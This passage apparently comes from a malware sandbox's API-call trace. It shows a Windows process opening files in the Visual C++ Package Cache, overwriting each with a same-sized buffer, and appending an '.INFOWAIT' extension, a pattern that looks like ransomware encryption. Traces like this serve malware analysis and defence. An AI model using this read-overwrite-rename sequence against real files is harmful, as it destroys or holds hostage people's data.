cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi.INFOWAIT" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi.infowait")) returned 1 [0138.916] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0138.917] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0138.918] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0138.918] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0138.918] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xc89b1 [0138.918] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0138.919] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0138.919] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0139.066] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0139.075] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0139.075] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0139.076] CloseHandle (hObject=0xad0) returned 1 [0139.076] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\cab1.cab" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\cab1.cab") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\cab1.cab" [0139.076] lstrcatW (in: lpString1="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\cab1.cab", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\cab1.cab.INFOWAIT") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\cab1.cab.INFOWAIT" [0139.076] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\cab1.cab"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\cab1.cab.INFOWAIT" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\cab1.cab.infowait")) returned 1 [0139.078] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.079] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.080] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0139.080] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0139.080] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x25000 [0139.080] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0139.080] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0139.081] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25000, lpOverlapped=0x0) returned 1 [0139.231] VirtualAlloc (lpAddress=0x0, dwSize=0x25000, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0139.241] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0139.241] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25000, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25000, lpOverlapped=0x0) returned 1 [0139.241] CloseHandle (hObject=0xad0) returned 1 [0139.241] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" [0139.241] lstrcatW (in: lpString1="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi.INFOWAIT") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi.INFOWAIT" [0139.241] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi.INFOWAIT" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi.infowait")) returned 1 [0139.242] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.243] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.244] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0139.244] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0139.350] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x28e [0139.350] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0139.350] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0139.350] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x28e, lpOverlapped=0x0) returned 1 [0139.352] VirtualAlloc (lpAddress=0x0, dwSize=0x28e, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0139.352] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0139.352] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x28e, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x28e, lpOverlapped=0x0) returned 1 [0139.353] CloseHandle (hObject=0xad0) returned 1 [0139.353] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm") returned="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm" [0139.353] lstrcatW (in: lpString1="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm.INFOWAIT") returned="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm.INFOWAIT" [0139.353] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm.INFOWAIT" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm.infowait")) returned 1 [0139.359] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.360] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.360] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0139.360] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0139.360] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x6f398 [0139.360] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0139.360] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0139.360] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0139.384] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0139.393] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0139.393] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0139.393] CloseHandle (hObject=0xad0) returned 1 [0139.394] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe") returned="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe" [0139.394] lstrcatW (in: lpString1="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe.INFOWAIT") returned="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe.INFOWAIT" [0139.394] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe.INFOWAIT" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe.infowait")) returned 1 [0139.394] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.395] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.396] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0139.396] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0139.396] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xc5b25 [0139.396] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0139.397] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0139.397] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0139.440] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0139.450] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0139.450] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0139.450] CloseHandle (hObject=0xad0) returned 1 [0139.450] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\cab1.cab") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" [0139.450] lstrcatW (in: lpString1="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\cab1.cab", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\cab1.cab.INFOWAIT") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\cab1.cab.INFOWAIT" [0139.451] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\cab1.cab"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\cab1.cab.INFOWAIT" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\cab1.cab.infowait")) returned 1 [0139.451] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.452] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.453] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0139.453] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0139.454] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x25000 [0139.454] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0139.454] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0139.454] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25000, lpOverlapped=0x0) returned 1 [0139.456] VirtualAlloc (lpAddress=0x0, dwSize=0x25000, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0139.465] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0139.465] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25000, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25000, lpOverlapped=0x0) returned 1 [0139.466] CloseHandle (hObject=0xad0) returned 1 [0139.466] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" [0139.466] lstrcatW (in: lpString1="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi.INFOWAIT") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi.INFOWAIT" [0139.466] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi.INFOWAIT" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi.infowait")) returned 1 [0139.466] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.467] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.468] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0139.468] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0139.470] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x59bde5 [0139.470] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0139.471] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0139.471] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0139.620] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0139.640] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0139.640] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0139.641] CloseHandle (hObject=0xad0) returned 1 [0139.641] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" [0139.641] lstrcatW (in: lpString1="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab", lpString2=".INFOWAIT" | out: 